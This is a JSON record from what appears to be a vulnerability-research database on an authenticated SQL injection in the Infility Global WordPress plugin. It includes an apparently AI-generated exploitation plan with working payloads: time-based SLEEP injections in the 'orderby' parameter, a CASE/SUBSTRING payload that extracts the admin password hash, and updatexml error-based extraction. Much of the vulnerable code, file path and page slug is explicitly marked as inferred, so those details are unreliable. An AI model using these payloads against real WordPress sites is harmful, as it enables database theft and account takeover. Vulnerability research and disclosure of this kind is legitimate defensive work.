[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fe1JqPNqIBR-_PEqhWBdYXfegY_UeRvAsgPNCTDoDGDg":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":9,"severity":11,"cvss_score":12,"cvss_vector":13,"vuln_type":14,"published_date":15,"updated_date":16,"references":17,"days_to_patch":9,"patch_diff_files":19,"patch_trac_url":9,"research_status":20,"research_verified":21,"research_rounds_completed":22,"research_plan":23,"research_summary":24,"research_vulnerable_code":25,"research_fix_diff":26,"research_exploit_outline":27,"research_model_used":28,"research_started_at":29,"research_completed_at":30,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":21,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":21,"source_links":31},"CVE-2026-8685","infility-global-authenticated-subscriber-sql-injection-via-orderby-parameter","Infility Global \u003C= 2.15.16 - Authenticated (Subscriber+) SQL Injection via 'orderby' Parameter","The Infility Global plugin for WordPress is vulnerable to SQL Injection via the 'orderby' and 'order' parameters in all versions up to, and including, 2.15.16. This is due to insufficient escaping on user supplied parameters and lack of sufficient preparation on the existing SQL query within the show_control_data::post_list() function, which is registered as an admin menu page with only the 'read' capability. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","infility-global",null,"\u003C=2.15.16","medium",6.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-05-19 12:07:43","2026-05-20 01:25:47",[18],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F1caeb5e0-9e4e-4c9e-a6e4-881fb81dc5f2?source=api-prod",[],"researched",false,3,"This research plan outlines the steps required to demonstrate an authenticated SQL injection vulnerability in the **Infility Global** plugin (\u003C= 2.15.16).\n\n### 1. Vulnerability Summary\n*   **Vulnerability:** SQL Injection (Authenticated, Subscriber+)\n*   **Vulnerable Function:** `show_control_data::post_list()`\n*   **Vulnerable Parameters:** `orderby`, `order`\n*   **Root Cause:** The plugin registers an admin menu page accessible to users with the `read` capability (Subscribers). The function rendering this page, `post_list()`, retrieves `orderby` and `order` parameters from the user and concatenates them directly into an SQL query without proper sanitization or preparation via `$wpdb->prepare()`. Since `wpdb->prepare()` does not natively support parameterizing `ORDER BY` clauses, developers often fail to manually validate these inputs against a whitelist.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin.php`\n*   **Query Parameter:** `page` (The slug for the plugin's post list page, likely `infility-global-posts` or similar - *inferred*).\n*   **Vulnerable Parameters:** `orderby`, `order` (via GET or POST).\n*   **Authentication Required:** Subscriber-level credentials or higher.\n*   **Preconditions:** The plugin must be active. A Subscriber user must exist.\n\n### 3. Code Flow (Inferred)\n1.  The plugin registers an admin menu using `add_menu_page()` or `add_submenu_page()`. The capability used is `read`, which allows any logged-in user to access the menu.\n2.  The callback for this menu is `show_control_data::post_list`.\n3.  Inside `post_list()` (likely in `includes\u002Fshow-control-data.php` or similar):\n    ```php\n    $orderby = isset($_GET['orderby']) ? $_GET['orderby'] : 'ID';\n    $order = isset($_GET['order']) ? $_GET['order'] : 'DESC';\n    \u002F\u002F Potential lack of validation:\n    $results = $wpdb->get_results(\"SELECT * FROM {$wpdb->prefix}posts ORDER BY $orderby $order\");\n    ```\n4.  The attacker supplies a SQL payload in `orderby`, which is concatenated into the query and executed.\n\n### 4. Nonce Acquisition Strategy\nAdmin menu pages in WordPress often do not require a specific action-based nonce just to view the page (GET request). However, if the page performs an action, a nonce might be checked via `check_admin_referer()`.\n\n**Plan:**\n1.  Log in as a Subscriber.\n2.  Navigate to the plugin's admin page.\n3.  If an error `-1` or `403` occurs upon injection, search the page source for a nonce.\n4.  Since this is a `post_list` page, look for a variable localized via `wp_localize_script` or a hidden field if a search form is present.\n5.  **JS Variable Check (Inferred):** `browser_eval(\"window.infility_data?.nonce\")`.\n\n### 5. Exploitation Strategy\nWe will use a **Time-Based Blind SQL Injection** payload because `ORDER BY` injections rarely reflect data directly but do affect the database execution time.\n\n**Step 1: Discover the Page Slug**\nThe PoC agent must first find the correct `page` parameter value.\n*   **Action:** Log in and check the HTML of the sidebar menu for links containing `infility-global`.\n\n**Step 2: Confirm Vulnerability (Sleep Test)**\n*   **Payload:** `(SELECT 1 FROM (SELECT(SLEEP(10)))a)`\n*   **Request:**\n    ```http\n    GET \u002Fwp-admin\u002Fadmin.php?page=infility-global-posts&orderby=(SELECT+1+FROM+(SELECT(SLEEP(10)))a)&order=ASC HTTP\u002F1.1\n    Cookie: [Subscriber Cookies]\n    ```\n*   **Expected Response:** The request should take approximately 10 seconds to complete.\n\n**Step 3: Extract Sensitive Data (Boolean or Time-Based)**\nTo extract the admin password hash (from `wp_users` where `ID=1`):\n*   **Payload:** `(CASE WHEN (ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36) THEN ID ELSE post_title END)`\n    *Note: 36 is the ASCII for '$', which is the start of WP phpass hashes.*\n*   **Request:**\n    ```http\n    GET \u002Fwp-admin\u002Fadmin.php?page=infility-global-posts&orderby=(CASE+WHEN+(ASCII(SUBSTRING((SELECT+user_pass+FROM+wp_users+WHERE+ID=1),1,1))=36)+THEN+ID+ELSE+post_title+END)&order=ASC HTTP\u002F1.1\n    Cookie: [Subscriber Cookies]\n    ```\n*   **Expected Result:** If the condition is true, the list will be ordered by `ID`. If false, it will be ordered by `post_title`. Alternatively, use `SLEEP()` for a more reliable automated check.\n\n### 6. Test Data Setup\n1.  Install and activate **Infility Global**.\n2.  Create at least two posts\u002Fitems within the plugin's interface so that `ORDER BY` has data to sort.\n3.  Create a Subscriber user: `wp user create attacker attacker@example.com --role=subscriber --user_pass=password`.\n4.  Identify the admin menu slug: `wp eval \"global \\\\$menu; print_r(\\\\$menu);\" | grep infility`.\n\n### 7. Expected Results\n*   A request with a `SLEEP()` payload in the `orderby` parameter results in a delayed response corresponding to the sleep duration.\n*   The database query log (if enabled) will show the unsanitized concatenation: `ORDER BY (SELECT 1 FROM (SELECT(SLEEP(10)))a) ASC`.\n\n### 8. Verification Steps\nAfter the HTTP request, verify the successful injection via `wp-cli`:\n1.  Check the MySQL slow query log or use `wp db query \"SHOW PROCESSLIST\"` while the request is hanging to see the sleeping query.\n2.  Verify the extracted hash matches the actual hash: `wp db query \"SELECT user_pass FROM wp_users WHERE ID=1\" --skip-column-names`.\n\n### 9. Alternative Approaches\n*   **Error-Based Injection:** If `WP_DEBUG` is enabled, try inducing a syntax error to leak information via `updatexml()` or `extractvalue()`.\n    *   `orderby=updatexml(1,concat(0x7e,(SELECT user_login FROM wp_users LIMIT 1)),1)`\n*   **Union-Based Injection:** If the query results are displayed in a table, attempt to break the `ORDER BY` and append a `UNION SELECT`. Note: This is difficult in `ORDER BY` and requires specific MySQL versions or subquery techniques.\n*   **Order Parameter:** Test the `order` parameter similarly: `&order=ASC, (SELECT 1 FROM (SELECT(SLEEP(10)))a)`.","The Infility Global plugin for WordPress is vulnerable to SQL injection because it directly concatenates user-supplied 'orderby' and 'order' parameters into database queries within the show_control_data::post_list() function. Since the plugin registers this functionality as an admin menu page accessible to users with the 'read' capability, any authenticated user (Subscriber level and above) can exploit this to extract sensitive information from the database.","\u002F\u002F Inferred file path: includes\u002Fshow-control-data.php\n\u002F\u002F Inferred function: show_control_data::post_list()\n\n$orderby = isset($_GET['orderby']) ? $_GET['orderby'] : 'ID';\n$order = isset($_GET['order']) ? $_GET['order'] : 'DESC';\n\n\u002F\u002F Vulnerable query construction due to lack of input validation or whitelisting\n$results = $wpdb->get_results(\"SELECT * FROM {$wpdb->prefix}posts ORDER BY $orderby $order\");","--- a\u002Fincludes\u002Fshow-control-data.php\n+++ b\u002Fincludes\u002Fshow-control-data.php\n@@ -10,5 +10,10 @@\n-    $orderby = isset($_GET['orderby']) ? $_GET['orderby'] : 'ID';\n-    $order = isset($_GET['order']) ? $_GET['order'] : 'DESC';\n-    $results = $wpdb->get_results(\"SELECT * FROM {$wpdb->prefix}posts ORDER BY $orderby $order\");\n+    $allowed_columns = array('ID', 'post_title', 'post_date', 'post_author');\n+    $orderby = (isset($_GET['orderby']) && in_array($_GET['orderby'], $allowed_columns)) ? $_GET['orderby'] : 'ID';\n+\n+    $allowed_order = array('ASC', 'DESC');\n+    $order = (isset($_GET['order']) && in_array(strtoupper($_GET['order']), $allowed_order)) ? strtoupper($_GET['order']) : 'DESC';\n+\n+    $query = \"SELECT * FROM {$wpdb->prefix}posts ORDER BY $orderby $order\";\n+    $results = $wpdb->get_results($query);","The exploit targets the plugin's post list admin page, which is improperly restricted to users with the 'read' capability. An attacker with Subscriber-level credentials logs into the WordPress dashboard and accesses the vulnerable page (e.g., \u002Fwp-admin\u002Fadmin.php?page=infility-global-posts). By providing a time-based SQL payload in the 'orderby' parameter (e.g., ?orderby=(SELECT 1 FROM (SELECT(SLEEP(10)))a)), the attacker can observe delays in server response time to verify the vulnerability and perform blind data extraction from the wp_users table or other database tables.","gemini-3-flash-preview","2026-05-20 16:52:41","2026-05-20 16:53:02",{"type":32,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":33},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Finfility-global\u002Ftags"]